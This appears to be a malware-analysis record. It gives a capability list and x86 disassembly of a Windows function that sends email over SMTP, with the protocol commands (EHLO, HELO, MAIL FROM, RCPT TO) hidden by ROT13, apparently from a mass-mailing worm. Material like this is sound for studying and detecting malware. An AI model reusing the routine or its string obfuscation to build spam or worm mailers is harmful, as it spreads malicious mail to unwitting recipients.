Function at 0x408b90
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Send data
Send data on socket

Disassembly:
sub esp, 0x400
lea eax, [esp + 0x100]
push ebx
mov ebx, dword [esp + 0x40c]
push ebp
push esi
push edi
push 0x100
push eax
push str.From
push ebx
call fcn.004089b0
add esp, 0x10
test eax, eax
jne 0x408e57
lea ecx, [esp + 0x310]
push 0x100
push ecx
push 0x422ec4
push ebx
call fcn.004089b0
add esp, 0x10
test eax, eax
jne 0x408e57
mov al, byte [esp + 0x110]
lea ecx, [esp + 0x110]
test al, al
je 0x408c05
cmp al, 0x40
je 0x408c05
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x408bf9
cmp byte [ecx], 0
je 0x408e57
inc ecx
lea edx, [esp + 0x210]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 6
push 1
push 2
call dword [sym.imp.WSOCK32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x408e57
mov eax, dword [esp + 0x414]
push 0x10
push eax
push edi
call dword [sym.imp.WSOCK32.dll_connect]
test eax, eax
jne 0x408e50
push 0x3a98
push edi
call fcn.00408e70
add esp, 8
test eax, eax
jne 0x408e50
push eax
push 0x3a98
push edi
call fcn.00408ee0
add esp, 0xc
cmp eax, 0xc8
jl 0x408e50
cmp eax, 0x190
jge 0x408e50
lea ecx, [esp + 0x10]
push str.RUYB__f_r_n
push ecx
call fcn.00404cf0
lea edx, [esp + 0x218]
lea eax, [esp + 0x18]
push edx
push eax
push 0x2710
push edi
call fcn.00408ee0
add esp, 0x18
cmp eax, 0xc8
jl 0x408cc1
cmp eax, 0x12b
jle 0x408d01
lea ecx, [esp + 0x10]
push str.URYB__f_r_n
push ecx
call fcn.00404cf0
lea edx, [esp + 0x218]
lea eax, [esp + 0x18]
push edx
push eax
push 0x2710
push edi
call fcn.00408ee0
add esp, 0x18
cmp eax, 0xc8
jl 0x408e50
cmp eax, 0x12b
jg 0x408e50
lea ecx, [esp + 0x10]
push str.ZNVY_SEBZ:__f__r_n
push ecx
call fcn.00404cf0
lea edx, [esp + 0x118]
lea eax, [esp + 0x18]
push edx
push eax
push 0x2710
push edi
call fcn.00408ee0
add esp, 0x18
cmp eax, 0xc8
jl 0x408e50
cmp eax, 0x12b
jg 0x408e50
lea ecx, [esp + 0x10]
push str.EPCG_GB:__f__r_n
push ecx
call fcn.00404cf0
lea edx, [esp + 0x318]
lea eax, [esp + 0x18]
push edx
push eax
push 0x2710
push edi
call fcn.00408ee0
add esp, 0x18
cmp eax, 0xc8
jl 0x408e50
cmp eax, 0x12b
jg 0x408e50
push str.DATA_r_n
push 0x2710
push edi
call fcn.00408ee0
add esp, 0xc
cmp eax, 0xc8
jl 0x408e50
cmp eax, 0x18f
jg 0x408e50
mov ebp, dword [sym.imp.WSOCK32.dll_send]
mov cl, byte [ebx]
mov esi, ebx
test cl, cl
je 0x408dca
mov al, cl
cmp al, 0xa
je 0x408dca
cmp al, 0xd
je 0x408dca
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x408dba
mov al, byte [esi]
cmp al, 0xa
je 0x408dd4
cmp al, 0xd
jne 0x408dd7
inc esi
jmp 0x408dca
cmp ebx, esi
je 0x408dff
cmp cl, 0x2e
jne 0x408dec
push 0
push 1
push 0x4140ac
push edi
call ebp
mov ecx, esi
push 0
sub ecx, ebx
push ecx
push ebx
push edi
call ebp
test eax, eax
jle 0x408e50
mov ebx, esi
jmp 0x408db0
push 0
push 5
push str._r_n._r_n
push edi
call ebp
push 0
push 0x3a98
push edi
call fcn.00408ee0
add esp, 0xc
cmp eax, 0xc8
jl 0x408e50
cmp eax, 0x190
jge 0x408e50
push str.QUIT_r_n
push 0x1388
push edi
call fcn.00408ee0
add esp, 0xc
push edi
call dword [sym.imp.WSOCK32.dll_closesocket]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x400
ret
push edi
call dword [sym.imp.WSOCK32.dll_closesocket]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x400
ret